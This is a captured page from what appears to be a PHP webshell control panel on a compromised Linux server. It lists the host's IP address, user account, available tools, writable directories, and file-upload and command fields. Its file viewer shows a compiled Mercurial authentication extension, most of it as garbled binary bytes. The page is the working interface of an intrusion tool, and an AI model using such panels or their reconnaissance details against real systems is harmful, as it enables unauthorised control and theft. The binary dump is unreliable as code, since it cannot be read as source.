403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/self/root/usr/lib/python3/dist-packages/hgext/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/self/root/usr/lib/python3/dist-packages/hgext/__pycache__/factotum.cpython-313.pyc
�

6�hE���SrSSKJr SSKrSSKJr SSKJr SSKJ	r	J
r
JrJrJ
r
 \
Rr\RrSrS=q=qq0r\R*"\5r\"SS	S
S9 \"SSS
S9 \"SSSS9 SrSrSr\"\5S5rSrg)a�http authentication with factotum

This extension allows the factotum(4) facility on Plan 9 from Bell Labs
platforms to provide authentication information for HTTP access. Configuration
entries specified in the auth section as well as authentication information
provided in the repository URL are fully supported. If no prefix is specified,
a value of "*" will be assumed.

By default, keys are specified as::

  proto=pass service=hg prefix=<prefix> user=<username> !password=<password>

If the factotum extension is unable to read the required key, one will be
requested interactively.

A configuration section is available to customize runtime behavior. By
default, these entries are::

  [factotum]
  executable = /bin/auth/factotum
  mountpoint = /mnt/factotum
  service = hg

The executable entry defines the full path to the factotum binary. The
mountpoint entry defines the path to the factotum file service. Lastly, the
service entry controls the service name used when reading keys.

�)�annotationsN)�_)�procutil)�error�httpconnection�	registrar�url�util��factotum�
executables/bin/auth/factotum)�default�
mountpoints
/mnt/factotum�serviceshgc��URR5(d[R"[	S55eSU;aSU-nSU-n[
R"[R"S[U4-55 g)Nsfactotum not interactivesuser=s%s user?s
%s !password?s
%s -g '%s')
�ui�interactiver�Abortr�os�systemr�tonativestr�_executable)�self�paramss  �0/usr/lib/python3/dist-packages/hgext/factotum.py�auth_getkeyrXsg���7�7��� � ��k�k�!�7�8�9�9��v���v�%��
��
&�F��I�I�h�"�"�=�K��3H�#H�I�J�c�\�SU-n[R"S[-[R5n[R"USU-5 [R
"U[5R5nUSS:Xa�[R"US5 [R
"U[5RSS5upVnUS:XazURS5(aKURS5(aUS	S
RSS5nO[R"[S55eXg4[R"U5 $[R"U5 U"X5 GM_![a  [R"[S
55ef=f![R"U5 f=f)Ns
proto=pass %ss%s/rpcsstart %srsoksread��'����s''smalformed password stringsfactotum not responding)r�open�_mountpoint�O_RDWR�write�read�ERRMAX�split�
startswith�endswith�replacerrr�close�OSError)r�getkeyr�fd�l�status�user�passwds        r�auth_getuserpasswdr5asE��
��
&�F�
�
�W�W�Y��,�b�i�i�
8��	��H�H�R��v�-�.�����F�#�)�)�+�A���t�u�}�����W�%�')�w�w�r�6�':�'@�'@��q�'I�$��f��U�?��(�(��.�.�!�?�?�4�0�0�%+�A�b�\�%9�%9�%��%F�F�"'�+�+�a�0L�.M�"N�N� �>�
�H�H�R�L�B�H�H�R�L��t��'���	=��+�+�a� :�;�<�<�	=��
�H�H�R�L�s�C:E&�&*F�F�F+c�^�U4SjnU$)Nc�6>�[TURU5 U$)N)�setattr�__name__)�func�clss �r�	decorator�%monkeypatch_method.<locals>.decoratorzs�����T�]�]�D�)��r�)r;r<s` r�monkeypatch_methodr?ys�����rc�P�URRX5up4U(aU(aURX45 X44$Sn[R"UR
X#5nU(a6UupxUR
S5nUR
S5UR
S5pCU(aU(dTU(d"URS5SR5nS[U4-n	U(aSX�4-n	[U[U	5up4URXX45 URX45 X44$)	Nrsprefixsusernamespassword� rsservice=%s prefix=%ss
%s user=%s)
�passwddb�find_user_password�_writedebugr�readauthforurir�getr)�lower�_servicer5r�add_password)
r�realm�authurir3r4�prefix�resr�authrs
          rrCrC�s����=�=�3�3�E�C�L�D�������&��~��
�F�
�
'�
'�����
?�C�
�������)�$���x�x��,�d�h�h�{�.C�f��v���[�[��&�q�)�/�/�1�F�(�H�f�+=�=���"�f�^�3�F�)�$��V�D������e�d�3����T�"��>�rc�p�URSS5qURSS5qURSS5qg)Nrr
rr)�configrr$rH)rs r�uisetuprQ�s2���)�)�K��7�K��)�)�K��7�K��y�y��j�1�Hr)�__doc__�
__future__rr�mercurial.i18nr�mercurial.utilsr�	mercurialrrrr	r
�urlreq�passwordmgrr(rr$rH�configtable�
configitemrr5r?rCrQr>rr�<module>r[s���&�:#�	��$���
�����o�o��	��'+�+��+�k�H���
�
!�
!�+�
.�
�
���!��
�����
�����K��0��K� ��!��22r

Youez - 2016 - github.com/yon3zu
LinuXploit